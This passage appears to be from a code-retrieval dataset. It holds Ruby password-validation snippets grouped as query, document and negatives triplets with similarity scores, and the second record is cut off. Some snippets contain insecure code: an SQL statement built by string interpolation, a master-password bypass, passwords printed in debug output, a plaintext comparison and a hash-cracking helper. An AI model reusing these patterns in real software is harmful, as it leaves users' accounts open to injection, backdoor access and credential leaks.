"def validate_password\n puts 'Enter your user name:'\n user_name = gets.chomp.downcase\n puts 'Enter your password:'\n password = gets.chomp.downcase\n password_characters = ['!', '#', '$']\n user_characters = ['!', '#', '$', ' ']\n if user_name == password\n 'Sorry, username and password cannot be the same.'\n elsif user_name.length <= 6 && password.length <= 6\n 'Sorry, username and password must be at least 6 characters.'\n elsif password_characters.select { |value| password.include? value }.empty?\n 'Sorry, password must have a special character.'\n elsif !user_characters.select { |value| user_name.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n elsif password.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, looks good!'\n end\nend",
"def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end",
"def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end",
"def check_password_contents\n if /[a-zA-Z]+/.match(@password) && /\\d+/.match(@password) && /[[:punct:]]/.match(@password)\n else\n generate\n end\n end",
"def check(user, pw1, pw2)\n case\n when user.strip.length == 0\n print \"Please enter a username\\n\"\n return false\n when pw1.strip != pw2.strip\n print \"passwords don't match\\n\"\n return false\n when pw1.strip.length < 6\n print \"passwords should be longer than 6 characters\\n\"\n return false\n default\n return true\n end\nend",
"def matching_password?(pass)\n self.password_hash == encrypt_password(pass)\n end",
"def username_and_password_check\n company = get_company\n if company == nil\n exit\n end\n if get_username_and_test_validity(company)\n if get_password_and_test_validity(company)\n else\n puts \"That is not the correct password, please try again.\"\n entry_menu\n end\n else \n puts \"That is not the correct username, please try again.\"\n entry_menu\n end\n end",
"def has_password?(submitted_password)\n password == encrypt(submitted_password)\n end",
"def password_match?(entered_password = '')\n password == User.hash_with_salt(entered_password, salt)\n end",
"def password_match?( password=\"\")\n hashedPassword == Admin.hash_with_salt(password, salt)\n end",
"def has_password?(submitted_password)\n # Return true if the user's password matches the submitted password.\n # Compare encrypted_password with the encrypted version of submitted_password\n encrypted_password == encrypt(submitted_password) \n end",
"def password_match?(password=\"\")\n hashed_password == AdminUser.hash_with_salt(password, salt)\n end",
"def password_match?(password=\"\")\n hashed_password == AdminUser.hash_with_salt(password, salt)\n end",
"def password_match?(login_password)\n\t\tencrypted_password == encrypt(login_password)\t\n\tend",
"def match_password(password, password_cofirmation)\n return (password==password_cofirmation) ? true : false\n end",
"def password_unique?\n users = User.where(login: login)\n if users.any?\n users.each do |u|\n errors.add(:password,'Login i hasło jest już w systemie') if u.authenticate(password)\n end\n end\n end",
"def password_match?\n add_password_match_error if password != password_confirmation\n\n password == password_confirmation && !password.blank?\n end",
"def has_password?( submitted_password )\n encrypted_password == encrypt( submitted_password )\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\r\n encrypted_password == encrypt(submitted_password)\r\n end",
"def password_match?\n self.password == self.password_confirmation\n end",
"def password_compare(password, user_id)\n password_digest = db.execute(\"SELECT password_digest FROM users WHERE user_id=?\", user_id)[0][0]\n if BCrypt::Password.new(password_digest) == password\n return true\n else\n return false\n end\n\nend",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def encode_password?(myuser, password, password_confirmation)\n\n if password.length>=@@minimum_password_length && password==password_confirmation\n myuser = Myuser.find(params[:id])\n myuser.update(params.permit(:first_name, :last_name ))\n encrypted_password=User.new(password: password).encrypted_password\n myuser.encrypted_password=encrypted_password\n myuser.save\n\n\n true\n\n else\n if password.length < @@minimum_password_length\n add_to_alert\"Password too short\"\n end\n if password!=password_confirmation\n add_to_alert\"Passwords not the same\" + \": password=\" + password.to_s + \"; password confirm=\" + password_confirmation.to_s\n end\n false\n\n end\n end",
"def has_password? (submitted_password)\n password_digest == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n #compare encrypted_password with the encrypted version of submitted password.\n password == submitted_password\n end",
"def password_match?\n self.errors[:password] << 'password not match' if password != password_confirmation\n self.errors[:password] << 'you must provide a password' if password.blank?\n password == password_confirmation and !password.blank?\n end",
"def has_password?(submitted_password)\n self.password == encrypt(submitted_password)\n end",
"def authenticate(name, password)\n if name != \"Santa Claus\" || password != \"Ho Ho Ho!\"\n return false\n end\n true\nend",
"def verify_password\n if params[:password] != params[:verify_pw]\n session[:message] = \"Passwords don't match. Please try again.\"\n redirect \"/register\"\n end\nend",
"def has_password?(submitted_password)\n # Compare encrypted password with the encrypted version of\n # Submitted password\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n\tencrypted_password == encrypt(submitted_password)\nend",
"def has_password?(submitted_password)\n # compare encrypted_password with the encrypted version of\n # the submitted password.\n\tencrypted_password == encrypt(submitted_password)\n end",
"def password_match? password\n\t\tBCrypt::Password.new(@password) == password\n\tend",
"def compare_pass (pass)\r\n return self.encrypted_password == sha_hash(\"#{pass}--#{self.salt}\")\r\n end",
"def check_pw pw\n (encrypt pw) == (self[:password])\n end",
"def authenticate(user, password)\n salt = user.password_salt \n\n hash = PBKDF2.new do |p|\n p.password = password.unpack(\"B*\").first\n p.salt = salt\n p.iterations = 10000\n end\n\n pass_hash = hash.hex_string\n \n pass_hash == user.password_hash \n end",
"def matching_passwords(params)\n if params[\"Password\"] == params[\"Confirmed_password\"]\n return true \n else \n return false\n end \n end",
"def validate_user\n puts \"enter username: \"\n user_name = gets.chomp\n print \"enter password: \"\n user_pass = gets.chomp\n if user_name.length >= 6 and !user_name.include? \"$\" and !user_name.include? \"!\" and !user_name.include? \"#\"\n puts \"Username is good\"\n else\n puts \"Username must be at least 6 characters and not contain '#$!'\"\n end\n if user_pass.length >=6 and user_pass[/[!#$]/]\n puts \"Password is good\"\n else\n puts \"Password must be at lease 6 characters and MUST contain '#, $ or !'\"\n end\nend",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def passwords_equal? #defines method for comparing :password and :confirm_password\n \t@errors.add(:password, \": The passwords do not match\") if self.password != self.confirm_password\n end",
"def match_password(login_password=\"\")\n password == BCrypt::Engine.hash_secret(login_password, salt)\n end",
"def test_contain_password12\n result = contains_password?(\"password1\")\n refute(result, \"'password1' should not be valid because it contains 'password'\")\n end",
"def sleigh(name, password)\n return true if name == \"Santa Claus\" && password == \"Ho Ho Ho!\"\n return false\nend",
"def has_password?(submitted_password)\n # compare encrypted_password with the encrypted version of submitted_password\n encrypted_password == encrypt(submitted_password)\n end",
"def valid_password?; end",
"def has_password?(submitted_password)\n #Compare encrypted_password with the encrypted version of \n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end",
"def get_password\n status = true\n while status == true\n @password = @@prompt.mask(\"Create a password with at least 5 character\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n @password_2 = @@prompt.mask(\"Retype your password\") do |q|\n q.validate(/[a-z\\ ]{5,15}/)\n end\n if @password == @password_2\n system(\"clear\")\n status = false \n break\n else @password != @password_2\n puts \"Wrong password, try again\".colorize(:red)\n status = true\n end\n end\n end",
"def set_password(username)\n #just set to random letter so they are not equal\n user_pw = 'i'\n user_pw_validate = ''\n #runs until the password match\n unless user_pw == user_pw_validate\n print \"Please enter password: \"\n user_pw = gets.chomp\n print \"please enter password again: \"\n user_pw_validate = gets.chomp\n #lets the user know their passwords didn't match\n if user_pw != user_pw_validate\n puts \"Passwords did not match\"\n end\n end\n #creates a hash using the entered password\n password_hash = create_hash(user_pw)\n #creates connection\n con = get_connection()\n #inserts the username and hash into the table\n con.exec \"INSERT INTO hashes VALUES ('#{username}', '#{password_hash}')\"\n puts \"User created successfully, please log in\"\n existing_user()\nend",
"def has_password? pass\n WodaHash.digest(self.pass_salt + pass).to_hex.downcase == pass_hash.downcase\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n\t encrypted_password == encrypt(submitted_password)\n end",
"def test_password\n p1 = \"mypassword123\"\n p2 = \"mypassword1234\"\n s1 = Password.update(p1)\n assert_equal(true, Password.check(p1,s1), \"Password was not stored correctly\")\n assert_equal(false, Password.check(p2,s1), \"Password check is broken\")\n\tend",
"def login(try_password)\n pass = Password.new(self.password.encode('ascii-8bit'))\n return pass == try_password\n end",
"def login_correctly\r\n\t\tuserid = \"correct_user@email.com\"\r\n\t\tpassword = \"correct_password\"\r\n\tend",
"def has_password?(submitted_password)\n valid_password?(submitted_password)\n end",
"def match_password_basic(p)\n puts \"p: #{p}\"\n puts \"password: #{password}\"\n p == password\n end",
"def password?(password_candidate)\r\n\t\t@password_hash == User.calculate_hash(password_candidate)\r\n\tend",
"def password_match\n if password != confirm_password\n errors.add(:password, \"doesn't match\")\n end\n end",
"def cracked?(secret_password_hash, potential_password,salt,iteration,option)\n pass = hash(salt,potential_password,iteration)\n if option ==\"-v\"\n printf(\"\\r%-15s\",\"#{potential_password}\")\n end\n secret_password_hash == pass\n\n\nend",
"def validate_login_user(params)\n params[\"username\"] and params[\"password\"] and params[\"password\"] == params[\"password_2\"]\n end",
"def validate_password(challenge)\n actual = BCrypt::Password.new(password_digest)\n actual == challenge\n end",
"def check_password(check_char, pos_1, pos_2, password)\n (password.chars[pos_1 -1] == check_char) ^ (password.chars[pos_2 -1] == check_char) \nend",
"def valid_password?(password)\n \treturn true if valid_master_password?(password)\n \tsuper\n \tend",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(submitted_password)\n # Compare encrypted_password with the encrypted version of\n # submitted_password.\n encrypted_password == encrypt(submitted_password)\n end",
"def has_password?(password_soumis)\n # Compare encrypted_password avec la version cryptée de password_soumis.\n encrypted_password == encrypt(password_soumis)\n end",
"def longEnough(userID, password)\n if userID.length >= 6 && password.length >= 6\n puts \"true\"\n elsif userID.length < 6 && password.length < 6\n puts \"false\"\n elsif userID.length < 6 && password.length >= 6\n puts \"userID false\"\n elsif userID.length >= 6 && password.length < 6\n puts \"password false\"\n end\nend"
] | [
"0.76981306",
"0.75316346",
"0.7478769",
"0.73651356",
"0.7336832",
"0.7139013",
"0.7021972",
"0.70057064",
"0.69959897",
"0.69346416",
"0.68962824",
"0.6889446",
"0.6813908",
"0.67890525",
"0.6770607",
"0.6770607",
"0.67283314",
"0.6713639",
"0.6695211",
"0.66751957",
"0.66506064",
"0.66264784",
"0.6625535",
"0.66166615",
"0.6612521",
"0.6612521",
"0.66003036",
"0.6599077",
"0.6578098",
"0.6573217",
"0.6557144",
"0.6551269",
"0.6551269",
"0.65369344",
"0.65328383",
"0.65197265",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.6518591",
"0.65124786",
"0.6505592",
"0.6502406",
"0.6483983",
"0.6473961",
"0.64698315",
"0.6468141",
"0.64668953",
"0.6463613",
"0.6460994",
"0.6456878",
"0.6452391",
"0.644891",
"0.64418536",
"0.6441393",
"0.6438761",
"0.64348793",
"0.6431792",
"0.64301187",
"0.64297926",
"0.64107615",
"0.64087296",
"0.6407182",
"0.639677",
"0.6381288",
"0.6381288",
"0.63677007",
"0.6361416",
"0.63583076",
"0.6354526",
"0.6340381",
"0.6339339",
"0.63093376",
"0.6308415",
"0.6295893",
"0.6292205",
"0.6283728",
"0.6278304",
"0.6277766",
"0.6276207",
"0.62726074",
"0.62696344",
"0.6264556",
"0.6264556",
"0.6264556",
"0.6264556",
"0.6264556",
"0.6264556",
"0.6264556",
"0.6262009",
"0.62599"
] | 0.76284504 | 1 |
Challenge: Write a function called long_enough that checks whether a String is at least six characters long, and returns true if it is, and false otherwise. | def long_enough(string)
if string.length < 6
puts "Must be at least 6 characters in length"
else
puts "Acceptable"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def long_enough(string)\n if (string.length >= 6)\n true\n else\n false\n end\nend",
"def long_enough(string)\n if (string.length >= 6)\n true\n else\n false\n end\nend",
"def not_long_enough?(string)\n if string.length >= 6\n false\n else\n true\n end\nend",
"def longer_than_10?(str)\n str.length > 10\nend",
"def long?\n @name.length >= 15\n end",
"def user_long_enough(user)\n if user.length <= 6 && user.length <= 6\n 'Sorry, username and password must be at least 6 characters.'\n else\n 'Yay, username and password are at least 6 characters.'\n end\nend",
"def long_word?\n last_epithet.size >= 25\n end",
"def contains_a_word_longer_than?(min_length)\n collection.any? {|word| word.length > min_length}\n end",
"def long_planeteer_calls(planeteer_calls)\nplaneteer_calls.any? { |string| string.length > 4 }\nend",
"def longEnough(userID, password)\n if userID.length >= 6 && password.length >= 6\n puts \"true\"\n elsif userID.length < 6 && password.length < 6\n puts \"false\"\n elsif userID.length < 6 && password.length >= 6\n puts \"userID false\"\n elsif userID.length >= 6 && password.length < 6\n puts \"password false\"\n end\nend",
"def too_long?\n length = self.chomp.length\n if length > line_length_max\n print_problem \"Line is >#{line_length_max} characters (#{length})\"\n return true\n end\n\n false\n end",
"def long_planeteer_calls(words)\n words.any? { |word| word.length>4}\nend",
"def too_long? content\n content.length > MaxTweetLength\n end",
"def long_planeteer_calls(calls)\n calls.each do |word|\n if word.length > 4\n return true\n else\n return false\n end\n end\nend",
"def long_planeteer_calls(words)\n words.any? {|word| word.length > 4}\nend",
"def exceeds_max_length?\n input.match(Patterns::ALPHABETICAL_PATTERN) && input.length > 15\n end",
"def long_planeteer_calls(calls)\n calls.any? { |word| word.length > 4 }\nend",
"def is_text_valid?(text)\n return text.length == 10\nend",
"def test_check_if_number_is_not_13_digits_long_false_if_not\n\t\tnum = \"123456789123\"\n\t\tassert_equal(false, validate_length(num))\n\tend",
"def test_length\n pw1 = \"Test1\"\n pw2 = \"Test2test\"\n\n assert_equal(false, StringChecker.is_safe_pw?(pw1)) # to short, min 8 character inputs\n assert_equal(true, StringChecker.is_safe_pw?(pw2))\n end",
"def test_length2\n result = length?(\"rynie11\")\n refute(result, \"'rynie11' should be invalid, because it is only 7 characters\")\n end",
"def valid_length?(length)\n expected == length\n end",
"def check_string(s)\r\n\t\treturn s.length == @m*@n\r\n\tend",
"def expected_length?\n formatted_number.length == 16 ||\n formatted_number.length == 17\n end",
"def expected_length?(length)\n expected == length\n end",
"def full_text_before_substring_uses_ideal_prefix_limit?\n full_text_before_substring.unpack( \"U*\" ).size >= ideal_prefix_limit\n end",
"def validate_text_length(text, unicode, parts = 3)\n max_text_length = (unicode ? MAX_LENGTH_UNICODE : MAX_LENGTH_GSM)[parts - 1]\n real_length(text, unicode) <= max_text_length\n end",
"def legal_word?(word)\n word.length >= 5 && word.length <= 12\n end",
"def validate_length?(input)\n input.length > 0 && input.length < INPUT_LENGTH ? true : false\nend",
"def \n \n long_planeteer_calls(planeteer_calls)\n \n puts \n p planeteer_calls \n puts\n \n planeteer_calls.any? { |any_string| any_string.length > 4 }\n # !! (<) !!\n # >__<\n \nend",
"def test_long\n LinuxFortune.long = true\n assert LinuxFortune.long # long should be set to short\n assert LinuxFortune.short == false # short to false\n assert LinuxFortune.fortune_options.include?(\"-l\")\n assert LinuxFortune.fortune_options.include?(\"-n\") || LinuxFortune.short_length == 160\n 5.times do # check multiple times if the generated length is ok\n lf = LinuxFortune.generate\n #puts \"#{lf.body.size} characters\"\n # TODO apparently there is an issue with 'fortune -l'; check fortune docs & bugs (manual mentions a different problem\n assert lf.body.size*1.1 >= LinuxFortune.short_length # check if actual size is greater than the max. short length\n end\n end",
"def long_planeteer_calls(calls_long)\n calls_long.any? do |word|\n word.length > 4\n # if word.length>4\n # return true\n # end\n end\n\n \nend",
"def full_text_after_substring_uses_ideal_suffix_limit?\n full_text_after_substring.unpack( \"U*\" ).size >= ideal_suffix_limit\n end",
"def wordMin(word)\n\tword.length >= 5\nend",
"def long_planeteer_calls(names)\n names.any? {|name| name.length > 4}\n \nend",
"def eightchar?(string)\n if string.length <= 8\n return false\n else\n return true\n end\nend",
"def long_planeteer_calls(array)\n array.each do |element|\n return true unless element.to_s.length <= 4\n end\n return false\nend",
"def limit_text_length (string_to_put_limitation, max_length)\n\n if string_to_put_limitation.length > max_length\n\n limited_string = string_to_put_limitation[0..max_length].gsub(/\\s\\w+\\s*$/,'...')\n\n return limited_string\n\n else\n\n return string_to_put_limitation\n\n end#string size check\n\n end",
"def long_planeteer_calls(words)\n # Your code here\n words.any? do |word|\n word.length > 4\n end\nend",
"def substring?(long_string, short_string)\n length = short_string.length\n letters = long_string.chars\n letters.each_with_index do |letter, index|\n return true if letters[index...index + length].join == short_string\n end\n false\nend",
"def test_valid_isbn_length_returns_true_for_any_length_or_characters\r\n\t\tisbn_number = '1234X6789'\r\n\t\tassert_equal(false, valid_length?(isbn_number))\r\n\tend",
"def long_planeteer_calls(calls)# code an argument here\n # Your code here\n calls.any? {|x| x.chars.length>4}\nend",
"def in_all_strings?(long_strings, substring)\n count = 0\n long_strings.each do |string|\n if sub_string?(string, substring)\n count += 1\n end\n end\n\n count == long_strings.length\nend",
"def check_length(length)\n return true if length <= 140\n msg = \"tweet is longer than 140 characters (#{length}). are you sure? (y/N)\"\n ans = HighLine.new.ask(msg)\n return ans.downcase == 'y'\nend",
"def check_highway_number_length highway_number\n if !highway_number.blank?\n highway_number_length = highway_number.size\n\n if highway_number_length > MAX_HIGHWAY_NUMBER_LENGTH\n return false\n else\n return true\n end\n\n else\n return false\n end\n\n end",
"def long_word_count(text)\n text.split.select {|word| word.length > 7}.count\nend",
"def is_great(name)\n if name == \"Bill\"\n return true\n elsif name.length > 6\n return true\n end\n false\n end",
"def longest_string_length\n longest_string.size\n end",
"def check_thoughts_length\n errors.add(:thoughts, \" must be at most #{MAX_THOUGHTS_LENGTH} characters long\") unless !self.thoughts.nil? && self.thoughts.length <= MAX_THOUGHTS_LENGTH\n end",
"def long_planeteer_calls(array)\n array.any? { |word| word.length > 4}\nend",
"def find_short(string)\n string.split.map(&:length).min\nend",
"def in_all_strings?(long_strings, short_string)\nend",
"def long_word_count(text)\n text.split.count do |word|\n word.length > 7\n end\nend",
"def long_words(words, length)\n # TODO\nend",
"def compare_string_length(str1, str2)\n\treturn str1.length() === str2.length() ? true : false\nend",
"def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend",
"def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend",
"def long_strings(array)\n array.find_all {|i| i.length > 4}\nend",
"def team_full?(team)\n if team.characters.length == 6\n true\n else false\n end\n end",
"def tax_too_long(tax, levels)\n if tax[0] == \"Eukaryota\"\n goodLen = levels + 1\n else\n goodLen = levels\n end\n tax.length > goodLen\nend",
"def long_planeteer_calls(calls)\n\tcalls.any? {|item| item.length > 4}\nend",
"def long_word_count(text)\n text.split(' ').count{|word| word.length > 7}\nend",
"def check_length_and_if_exists highway_to_check\n cleaned_highway_to_check = check_highway_number(highway_to_check)\n length_is_ok = check_highway_number_length (cleaned_highway_to_check)\n\n if length_is_ok\n check_highway_exists (cleaned_highway_to_check)\n else\n return false\n end\n\n end",
"def check_length_or_truncate(str, length)\n if !str.nil? && str.length > length\n str = str[0,length]\n end\n str\n end",
"def is_a_partial_string?(containing_string, potentially_partial_string)\n return (containing_string.size > potentially_partial_string.size and containing_string.include?(potentially_partial_string) )\n end",
"def length_of_string(test_string)\n return test_string.length()\nend",
"def length_of_string(input)\n test_string = input.length\n return test_string\nend",
"def word_check(word)\r\n\tif word.length > 6\r\n return 'long'\r\n elsif word.length < 6\r\n return 'short'\r\n else\r\n return 'medium'\r\n end\r\nend",
"def word_check(word)\n if word.length > 6\n return \"long\"\n elsif word.length < 6\n return \"short\"\n else\n return \"medium\"\n end\nend",
"def word_check(word)\n if word.length > 6\n return \"long\"\n elsif word.length < 6\n return \"short\"\n else\n return \"medium\"\n end\nend",
"def validate_length(key)\n if key == 'text'\n instance_variable_get(\"@#{key}\").size.between?(1, 120)\n else\n instance_variable_get(\"@#{key}\").size.between?(6, 16)\n end\n end",
"def long_name_steals_a_ton?\n longest_name = player_with_longest_name()\n player_name_with_most_steals = player_with_most_steals()\n\n if longest_name == player_name_with_most_steals\n return true\n end\n false\nend",
"def error_for_todo(text)\n return if (1..100).cover?(text.size)\n 'Todo text must be between 1 and 100 characters.'\nend",
"def should_ensure_length_at_least(attribute, min_length, opts = {})\n short_message = get_options!([opts], :short_message)\n\n matcher = ensure_length_of(attribute).\n is_at_least(min_length).\n with_short_message(short_message)\n\n should matcher.description do\n assert_accepts matcher, subject\n end\n end",
"def long_planeteer_calls(calls)\n calls.any? {|call| call.length > 4}\nend",
"def exact_length(table, column, options)\n \"check ( length(trim(both from #{table}.#{column})) = #{options} )\"\n end",
"def is_building_id?(string)\n string.length < 6 && string.length > 2\n end",
"def length_of_string(test_string)\n return test_string.length\nend",
"def length_of_string(test_string)\n return test_string.length\nend",
"def valid_pattern(s)\n s.length > 3\nend",
"def test_short\n LinuxFortune.short = true\n assert LinuxFortune.short # short should be set to true\n assert LinuxFortune.long == false # long to false\n assert LinuxFortune.fortune_options.include?(\"-s\")\n assert LinuxFortune.fortune_options.include?(\"-n\") || LinuxFortune.short_length == 160\n 10.times do # check multiple times if the generated length is ok\n lf = LinuxFortune.generate\n assert lf.body.size*0.9 < LinuxFortune.short_length # check if actual size is less than the max. short length\n end\n end",
"def string_length(password)\n if password.size >= 10 && password.size < 17\n return 0\n else\n return password.size > 16 ? (16 - password.size) : 10 - password.size\n end\n end",
"def is_length(word)\n\t\tword.length == WORD_LENGTH\n\tend",
"def in_all_strings?(long_strings, short_string)\n # sliding window\n\n # check each long_string\n long_strings.each do |s|\n in_string = false\n n = s.length - short_string.length\n\n # check each substring of a long string\n # if equal to short string\n (0..n).each do |i|\n # if we encounter the shortstring in the substring\n # then we should move on to the next long string\n if s.slice(i, short_string.length) == short_string\n in_string = true\n break\n end\n end\n # if we didn't find a substring in this long string\n # then we know that not all substrings are in the long string\n if in_string == false\n return false\n end\n end\n\n true\nend",
"def password_length(password)\n # set the password length for register new user and update user data\n password_max_length = PASSWORD_MAXIMUM_LENGTH\n password_min_length = PASSWORD_MINIMUM_LENGTH\n\n return true if password.length <= password_max_length && password.length >= password_min_length\n return false\n end",
"def long_planeteer_calls(arr)\n arr.any? { |word| word.length > 4} # <-- needed a space between \"{\" and pipe to pass test...???\nend",
"def length_of_string(string_given)\n return string_given.length\nend",
"def cc_long_enough?\n digits = self.cc_four_digits.to_s.length\n errors.add(:cc_four_digits, 'Sorry, the card number must be between 13 and 16 digits') unless digits.between?(13,16)\n end",
"def long_planteer_calls(calls)\n calls.any? {|call| call.length > 4} # code from lecture\nend",
"def in_all_strings?(long_strings, substring)\n long_strings.each do |string|\n return false unless string.include?(substring)\n end\n\n return true\nend",
"def check_taxonomic_length(tax)\n !tax_too_short(tax) && !tax_too_long(tax)\nend",
"def in_all_strings?(long_strings, substring)\n long_strings.all? { |long_string| sub_string?(long_string, substring) }\nend",
"def longer_first_name\n first_name.length > last_name.length\n end",
"def have?(length)\n return length <= @buffer.bytesize \n end",
"def long_planeteer_calls(array)\n array.any? do |word|\n word.length > 4 \n end \nend",
"def test_4_accepts_password_of_8_characters\n result = at_least_eight_characters?(\"1Abjils&\")\n assert(result, \"'1ABjils&' has 8 characters, should be valid\")\n end",
"def is_building_id? string\n string.length < 6 && string.length > 2\n end",
"def find_long\n array = [\"dog\", \"caterpillar\", \"bee\" ]\n\n array.detect do |word|\n word.length > 3\n end\nend",
"def gentle?\n words.any?(&:is_positive?) || (length > 35)\n end",
"def validate_username_length(username)\r\n if(username.length == 0)\r\n return false\r\n elsif (username.length < 6)\r\n return false\r\n elsif (username.length > 12)\r\n return false\r\n else\r\n return true\r\n end\r\nend"
] | [
"0.9014257",
"0.89802146",
"0.88297135",
"0.7104552",
"0.7021023",
"0.6966158",
"0.66987735",
"0.65627867",
"0.65511954",
"0.6503209",
"0.64535564",
"0.64353335",
"0.6427704",
"0.64167655",
"0.6374952",
"0.6371698",
"0.636941",
"0.63484925",
"0.6346467",
"0.6330152",
"0.63144034",
"0.62696826",
"0.6221494",
"0.61935914",
"0.61569655",
"0.61442834",
"0.6093807",
"0.60667986",
"0.6057086",
"0.6049924",
"0.6003752",
"0.5993538",
"0.59499276",
"0.5944366",
"0.5942068",
"0.5922516",
"0.59189993",
"0.59152377",
"0.5908352",
"0.5903295",
"0.58989924",
"0.5845642",
"0.58172464",
"0.58011466",
"0.5775657",
"0.5774928",
"0.57720166",
"0.5766826",
"0.5765113",
"0.5761728",
"0.57592785",
"0.5738997",
"0.5723196",
"0.5719991",
"0.5718213",
"0.5715262",
"0.5715262",
"0.5705144",
"0.569692",
"0.56946355",
"0.56904846",
"0.5690409",
"0.56902426",
"0.5679048",
"0.566006",
"0.5658056",
"0.56454",
"0.562415",
"0.56216884",
"0.56216884",
"0.5619455",
"0.5602483",
"0.5593546",
"0.5585389",
"0.5580788",
"0.5577196",
"0.55757827",
"0.5566192",
"0.5566192",
"0.5565482",
"0.55651027",
"0.55598",
"0.5549989",
"0.5544933",
"0.55386585",
"0.5538625",
"0.5537025",
"0.55367875",
"0.55337614",
"0.5514974",
"0.5509702",
"0.5509127",
"0.55089927",
"0.5507334",
"0.5507326",
"0.5502809",
"0.550002",
"0.54971516",
"0.54969794",
"0.5489388"
] | 0.8281891 | 3 |
Challenge Write a function called does_not_contain_special which checks to see if !, , $ is not contained in a given String. | def does_not_contain_special(user_id)
if user_id.include?("!") || user_id.include?("#") || user_id.include?("$")
puts "User ID cannot contain these characters: !, #, or $"
else
puts "Acceptable"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def does_not_contain_special str\n !(str.include?(\"#\") || str.include?(\"!\") || str.include?(\"$\"))\n end",
"def does_not_contain_special?(string)\n if string.include?(\"!\") || string.include?(\"#\") || string.include?(\"$\")\n false\n else\n true\n end\nend",
"def does_not_contain_special(str)\n if str.include? ('!') or str.include? ('#') or str.include? ('$')\n false\n else\n true\n end\nend",
"def contains_special(string)\n if (string.include?('!') || string.include?('#') || string.include?('$'))\n true\n else\n false\n end\nend",
"def contains_special?(string)\n if string.include?(\"!\") || string.include?(\"#\") || string.include?(\"$\")\n true\n else\n false\n end\nend",
"def contains_special(str)\n if str.include? ('!') or str.include? ('#') or str.include? ('$')\n true\n else\n false\n end\nend",
"def doesNotContainSpecial(userID)\n if !userID.include?(\"!\") && !userID.include?(\"#\") && !userID.include?(\"$\")\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def illegal(string)\n string.match(/^((?!ab|cd|pq|xy).)*$/).nil?\nend",
"def check_a_string_for_special_characters(string)\n string.include?('@') ||\n string.include?('!') ||\n string.include?('£') ||\n string.include?('$') ||\n string.include?('%')\nend",
"def exclude?(string)\n !include?(string)\n end",
"def contains_special(password)\n if password.include?(\"!\") || password.include?(\"#\") || password.include?(\"$\")\n puts \"Acceptable\"\n else \n puts \"Password must contain at least one of the following: !, #, or $\"\n end\nend",
"def containsSpecial(password)\n if password.include?(\"!\") || password.include?(\"$\") || password.include?(\"#\")\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def exclude(sub_string)\n puts \"Is substring excluded?\"\n val = !@value.include?(sub_string)\n end",
"def check_a_string_for_special_characters(string)\n true_or_false = false\n # collect all non-special characters\n chars = []\n chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + (0..9).to_a + [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n chars << \" \"\n # check each part of string to see if any special characters\n string.split(\"\").each {|character|\n if !chars.include?(character)\n true_or_false = true\n else\n next\n end\n }\n true_or_false\nend",
"def has_special_ch?(str)\n (str =~ @@regex)?true:false\n end",
"def !~(string)\n to_re !~ string.to_str\n end",
"def check_a_string_for_special_characters(string)\n\t# match() is used to check if there is any match as in the regexp. /\\W/ means non word characters.\n\tstring.chars.select {|char| char.match(/\\W/) }.any?\nend",
